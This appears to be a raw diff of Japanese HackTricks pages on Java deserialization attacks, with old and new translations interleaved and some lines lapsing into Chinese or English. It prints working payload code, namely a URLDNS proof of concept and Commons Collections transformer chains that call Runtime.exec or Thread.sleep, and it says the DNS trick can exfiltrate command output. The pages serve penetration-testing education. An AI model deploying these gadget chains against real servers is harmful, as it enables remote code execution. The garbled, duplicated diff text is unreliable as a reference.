--viewstateuserkey="randomstringdefinedintheserver" --viewstateuserkey="randomstringdefinedintheserver"
@ -197,7 +196,7 @@ ViewState逆シリアル化の脆弱性を成功裏に悪用すると、攻撃
## 参考文献 ## 参考文献
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) * [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\ * [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) * [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) * [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
@ -209,14 +208,14 @@ ViewState逆シリアル化の脆弱性を成功裏に悪用すると、攻撃
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>**htARTE (HackTricks AWS Red Team Expert)**で、ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をご確認ください! * **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をご確認ください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**したりしてください。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -6,24 +6,24 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**か**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れ * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手す
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。 * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。 * **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
## シリアル化されたDNSリクエスト ## DNS request on deserialization
`java.net.URL`クラスは`Serializable`を実装しており、このクラスはシリアル化できることを意味します。 クラス`java.net.URL`は`Serializable`を実装しています。これは、このクラスがシリアライズ可能であることを意味します。
```java ```java
public final class URL implements java.io.Serializable { public final class URL implements java.io.Serializable {
``` ```
このクラスには**興味深い挙動**があります。ドキュメントによると、「**2つのホストが同等と見なされる条件は、両方のホスト名が同じIPアドレスに解決される場合**」です。\ このクラスには**興味深い挙動**があります。ドキュメントによると、「**2つのホストが同等と見なされる条件は、両方のホスト名が同じIPアドレスに解決される場合**」です。\
そのため、URLオブジェクトが**`equals`**または**`hashCode`**の**いずれかの関数を呼び出すたびに**、IPアドレスを取得するための**DNSリクエスト****送信**されます。 そのため、URLオブジェクトが**`equals`**または**`hashCode`**の**いずれかの関数を呼び出すたびに**、IPアドレスを取得するための**DNSリクエストが送信**されます。
URLオブジェクトから**`hashCode`**関数を**呼び出す**は非常に簡単で、このオブジェクトをデシリアライズされる`HashMap`内に挿入すれば十分です。これは、`HashMap`の**`readObject`**関数の最後にこのコードが実行されるためです: **URL**オブジェクトから**`hashCode`**関数を**呼び出す**ことは非常に簡単で、このオブジェクトをデシリアライズされる`HashMap`内に挿入すれば十分です。これは、`HashMap`の**`readObject`**関数の最後にこのコードが実行されるためです:
```java ```java
private void readObject(java.io.ObjectInputStream s) private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException { throws IOException, ClassNotFoundException {
@ -33,16 +33,16 @@ for (int i = 0; i < mappings; i++) {
putVal(hash(key), key, value, false, false); putVal(hash(key), key, value, false, false);
} }
``` ```
それは`HashMap`内のすべての値`putVal`を**実行**します。しかし、さらに重要なのは、各値で`hash`を呼び出すことです。これが`hash`関数のコードです: それは`HashMap`内のすべての値とともに`putVal`を**実行**します。しかし、さらに重要なのは、各値で`hash`を呼び出すことです。これが`hash`関数のコードです:
```java ```java
static final int hash(Object key) { static final int hash(Object key) {
int h; int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
} }
``` ```
如何观察,**在对`HashMap`进行反序列化**时,函数`hash`将会**对每个对象执行**,并且在**`hash`**执行期间**将执行对象的`.hashCode()`**。因此,如果您**反序列化**一个**包含**URL对象的**`HashMap`**,那么**URL对象**将会**执行**`.hashCode()` 如何観察,**`HashMap`** を**デシリアライズ**すると、関数`hash` が**各オブジェクトで実行され**、**`hash`** の実行中にはオブジェクトの`.hashCode()` が実行されます。したがって、**`URL`** オブジェクトを含む**`HashMap`** を**デシリアライズ**すると、**URLオブジェクト**は`.hashCode()`を**実行**します
现在,让我们看一下`URLObject.hashCode()`的代码 次に、`URLObject.hashCode()` のコードを見てみましょう
```java ```java
public synchronized int hashCode() { public synchronized int hashCode() {
if (hashCode != -1) if (hashCode != -1)
@ -51,7 +51,7 @@ return hashCode;
hashCode = handler.hashCode(this); hashCode = handler.hashCode(this);
return hashCode; return hashCode;
``` ```
如何見到,當一個`URLObject`執行`.hashCode()`時,它被稱為`hashCode(this)`。接下來你可以看到這個函數的碼: 如何見到,當一個`URLObject`執行`.hashCode()`時,它被稱為`hashCode(this)`。接下來你可以看到這個函數的程式碼:
```java ```java
protected int hashCode(URL u) { protected int hashCode(URL u) {
int h = 0; int h = 0;
@ -65,13 +65,13 @@ h += protocol.hashCode();
InetAddress addr = getHostAddress(u); InetAddress addr = getHostAddress(u);
[ ... ] [ ... ]
``` ```
ある`getHostAddress`がドメインに対して実行され、**DNSクエリが発行**されることがわかります。 以下のように、ドメインに `getHostAddress` が実行され、**DNS クエリが発行**されます。
したがって、このクラスは**悪用**され、**DNSクエリを発行**して**逆シリアル化**が可能であることを**デモンストレーション**するために使用されるか、情報を**外部に持ち出す**ためにも利用できます(コマンド実行の出力をサブドメインに追加することができます)。 したがって、このクラスは、**デシリアライズ**が可能であることを**示す**ために**DNS クエリを発行**するために**悪用**される可能性があり、情報を**外部に漏洩**するためにも使用できます(コマンド実行の出力をサブドメインに追加することができます)。
### URLDNS ペイロードのコード例 ### URLDNS ペイロードのコード例
[ここからysoserialのURDNSペイロードコードを見つけることができます](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)。ただし、コードの作成方法を理解しやすくするために、ysoserialのものを基に独自のPoCを作成しました [ここから URDNS ペイロードコードを取得できます](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)。ただし、コードの作成方法を理解しやすくするために、ysoserial のものを基に独自の PoC を作成しました:
```java ```java
import java.io.File; import java.io.File;
import java.io.FileInputStream; import java.io.FileInputStream;
@ -134,10 +134,10 @@ return null;
} }
} }
``` ```
### より詳しい情報 ### より詳細な情報
* [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/) * [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
* 元のアイデアでは、Commons CollectionsのペイロードがDNSクエリを実行するように変更されましたが、これは提案された方法よりも信頼性が低かったです。詳細は次の投稿を参照してください: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/) * 元のアイデアでは、Commons CollectionsのペイロードがDNSクエリを実行するように変更されましたが、これは提案された方法よりも信頼性が低かったです。以下がその記事です: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
## GadgetProbe ## GadgetProbe
@ -147,13 +147,13 @@ return null;
### 動作原理 ### 動作原理
**GadgetProbe** は、前のセクションの **DNSペイロード** を使用しますが、DNSクエリを実行する前に **任意のクラスを逆シリアル化しようとします****任意のクラスが存在する** 場合、**DNSクエリ** が **送信** され、GadgetProbe はこのクラスが存在することを記録します。 **DNS** リクエストが **送信されない** 場合、これは **任意のクラスが正常に逆シリアル化されなかった** ことを意味し、それは存在しないか、 **シリアル化/悪用** できないことを示します。 **GadgetProbe** は、前のセクションの **DNSペイロード** を使用しますが、DNSクエリを実行する前に **任意のクラスを逆シリアル化しようとします****任意のクラスが存在する** 場合、 **DNSクエリ****送信** され、GadgetProbe はこのクラスが存在することを記録します。 **DNS** リクエストが **送信されない** 場合、これは **任意のクラスが正常に逆シリアル化されなかった** ことを意味し、それは存在しないか、 **シリアル化/悪用可能** ではないことを示します。
GitHub内には、[**GadgetProbeにいくつかのワードリスト**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) があり、テスト用のJavaクラスが含まれています。 GitHub内には、[**GadgetProbeにいくつかのワードリスト**](https://github.com/BishopFox/GadgetProbe/tree/master/wordlists) があります。
![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../.gitbook/assets/intruder4 (1) (1) (1).gif>) ![https://github.com/BishopFox/GadgetProbe/blob/master/assets/intruder4.gif](<../../.gitbook/assets/intruder4 (1) (1) (1).gif>)
### より詳しい情報 ### より詳細な情報
* [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe) * [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
@ -164,7 +164,7 @@ GitHub内には、[**GadgetProbeにいくつかのワードリスト**](https://
### パッシブ ### パッシブ
デフォルトでは、すべてのリクエストとレスポンスを **パッシブにチェック** し、 **Javaシリアル化のマジックバイト** を探し、見つかった場合は脆弱性警告を表示します: デフォルトでは、すべてのリクエストとレスポンスを **パッシブにチェック** し、 **Javaシリアル化のマジックバイト** を探し、見つかった場合は脆弱性警告を表示します:
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/image (290).png>) ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](<../../.gitbook/assets/image (290).png>)
@ -172,12 +172,12 @@ GitHub内には、[**GadgetProbeにいくつかのワードリスト**](https://
**手動テスト** **手動テスト**
リクエストを選択し、右クリックして `Send request to DS - Manual Testing` をクリックできます。\ リクエストを選択し、右クリックして `Send request to DS - Manual Testing` をクリックます。\
次に、_Deserialization Scanner Tab_ --> _Manual testing tab_**挿入ポイント** を選択し、テストを実行できます(使用されているエンコーディングに応じて適切な攻撃を選択してください)。 次に、_Deserialization Scanner Tab_ --> _Manual testing tab_ **挿入ポイント** を選択し、テストを実行します(使用されているエンコーディングに応じて適切な攻撃を選択します)。
![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../.gitbook/assets/3-1.png) ![https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/](../../.gitbook/assets/3-1.png)
これが「手動テスト」と呼ばれているにもかかわらず、かなり **自動化** されています。Webサーバーに存在するライブラリをチェックし、脆弱なものを強調表示します。 **脆弱なライブラリ** をチェックするには、**Javas Sleeps**、 **CPU** 消費を介した **sleeps**、または以前に言及されたように **DNS** を起動することを選択できます。 これが「手動テスト」と呼ばれているにもかかわらず、かなり **自動化** されています。Webサーバーに存在するライブラリをチェックし、脆弱なものを強調表示します。 **脆弱なライブラリ** をチェックするには、 **Javas Sleeps****CPU** 消費を介した **sleeps**、または以前に言及されたように **DNS** を起動することできます。
**悪用** **悪用**
@ -198,14 +198,14 @@ GitHub内には、[**GadgetProbeにいくつかのワードリスト**](https://
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
HackTricks をサポートする他の方法: HackTricksをサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricksで会社を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする** * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details> </details>

View file

@ -4,11 +4,11 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**する
* **ハッキングテクニックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -1,20 +1,20 @@
# CommonsCollection1 ペイロード - Java Transformers to Rutime exec() および Thread Sleep # CommonsCollection1 ペイロード - Java Transformersを使用したRutime exec()およびThread Sleep
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または **最新バージョンの PEASS を入手したり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discord グループ**に**参加**するか、[**telegram グループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングテクニックを共有するために、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks) および [hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** PR を提出してください。 * **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)および[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
## Java Transformers to Rutime exec() ## Java Transformersを使用したRutime exec()
いくつかの場所で、次のような Apache common collections のトランスフォーマを使用した Java 逆シリアル化ペイロードが見つかります: いくつかの場所で、次のようなApache common collectionsからのtransformersを使用するjava逆シリアル化ペイロードが見つかります:
```java ```java
import org.apache.commons.*; import org.apache.commons.*;
import org.apache.commons.collections.*; import org.apache.commons.collections.*;
@ -54,8 +54,8 @@ lazyMap.get("anything");
``` ```
もしJavaの逆シリアル化ペイロードについて何も知らない場合、なぜこのコードがcalcを実行するのかを理解するのは難しいかもしれません。 もしJavaの逆シリアル化ペイロードについて何も知らない場合、なぜこのコードがcalcを実行するのかを理解するのは難しいかもしれません。
まず最初に知っておくべきことは、**JavaにおけるTransformer**は、**クラスを受け取り**、**異なるクラスに変換する**ものです。\ まず最初に知っておくべきことは、**JavaのTransformer**は**クラスを受け取り**、**異なるクラスに変換する**ものです。\
また、ここで**実行されているペイロード**が**等価**であることを知っておくと興味深いです: また、ここで**実行されているペイロード**が**等価**であることを知ることも興味深いです。
```java ```java
Runtime.getRuntime().exec(new String[]{"calc.exe"}); Runtime.getRuntime().exec(new String[]{"calc.exe"});
``` ```
@ -102,7 +102,7 @@ Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer); Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything"); lazyMap.get("anything");
``` ```
最後のペイロードのセクションでは、**Mapオブジェクトが作成**されていることがわかります。次に、`LazyMap`から`decorate`関数が実行され、マップオブジェクトとチェーンされたトランスフォーマーが渡されます。次のコードから、これにより**チェーンされたトランスフォーマー**が`lazyMap.factory`属性の内部にコピーされることがわかります: 最後のペイロードのセクションでは、**Mapオブジェクトが作成されています**。その後、`LazyMap`から`decorate`関数が実行され、マップオブジェクトとチェーンされたトランスフォーマーが渡されます。次のコードからわかるように、これにより**チェーンされたトランスフォーマー**が`lazyMap.factory`属性の中にコピーされることになります:
```java ```java
protected LazyMap(Map map, Transformer factory) { protected LazyMap(Map map, Transformer factory) {
super(map); super(map);
@ -112,7 +112,7 @@ throw new IllegalArgumentException("Factory must not be null");
this.factory = factory; this.factory = factory;
} }
``` ```
そして、素晴らしいフィナーレが実行されます:`lazyMap.get("anything");` そして、壮大なフィナーレが実行されます:`lazyMap.get("anything");`
これが`get`関数のコードです: これが`get`関数のコードです:
```java ```java
@ -134,7 +134,7 @@ object = iTransformers[i].transform(object);
return object; return object;
} }
``` ```
したがって、**`factory`** の内部には **`chainedTransformer`** が保存されており、**`transform`** 関数の内部では、**それらのチェーンされたtransformerをすべて通過**し、1つずつ実行しています。面白いことに、**各transformerは入力として`object`を使用**し、**objectは前に実行されたtransformerの出力**です。したがって、**すべてのtransformは、悪意のあるペイロードを実行するようにチェーンされています**。 したがって、**factory** の内部には **`chainedTransformer`** が保存されており、**`transform`** 関数の内部では、**それらのチェーンされたtransformerをすべて通過**し、1つずつ実行しています。面白いことに、**各transformerは入力として`object`** を使用しており、**objectは前に実行されたtransformerの出力**です。したがって、**すべての変換は悪意のあるペイロードを実行するようにチェーンされています**。
### 要約 ### 要約
@ -159,15 +159,15 @@ new Class[]{String.class},
command command
).transform(value); //(4) ).transform(value); //(4)
``` ```
注意してください。`value` が各変換の入力であり、前の変換の出力であることにより、ワンライナーの実行が可能になります。 _注意してください。`value` は各変換の入力であり、前の変換の出力であり、ワンライナーの実行を可能にしています:_
```java ```java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"}); ((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
``` ```
Note that here it **was explained the gadgets** used for the **ComonsCollections1** payload. But it's left **how all this starts it's executing**. You can see [here that **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java), in order to execute this payload, uses an `AnnotationInvocationHandler` object because **when this object gets deserialized**, it will **invoke** the `payload.get()` function that will **execute the whole payload**. ここでは、**ComonsCollections1** ペイロードに使用されるガジェットが説明されていました。しかし、**これがどのように実行を開始するかは残されています**。[ここで **ysoserial**](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java) を見ると、このペイロードを実行するために、`AnnotationInvocationHandler` オブジェクトが使用されていることがわかります。なぜなら、**このオブジェクトが逆シリアル化されると**、`payload.get()` 関数が呼び出され、**ペイロード全体が実行される**でしょう。
## Java Thread Sleep ## Java Thread Sleep
This payload could be **handy to identify if the web is vulnerable as it will execute a sleep if it is**. このペイロードは、**Web が脆弱かどうかを特定するのに便利**であり、脆弱である場合はスリープを実行します。
```java ```java
import org.apache.commons.*; import org.apache.commons.*;
import org.apache.commons.collections.*; import org.apache.commons.collections.*;
@ -210,20 +210,20 @@ lazyMap.get("anything");
} }
} }
``` ```
## より多くのガジェット ## もっとガジェット
こちらでさらに多くのガジェットを見つけることができます: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html) こちらでさらにガジェットを見つけることができます: [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
## ##
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加**または[Telegramグループ](https://t.me/peass)に参加し、**Twitter**で私をフォロー🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>

View file

@ -4,19 +4,19 @@
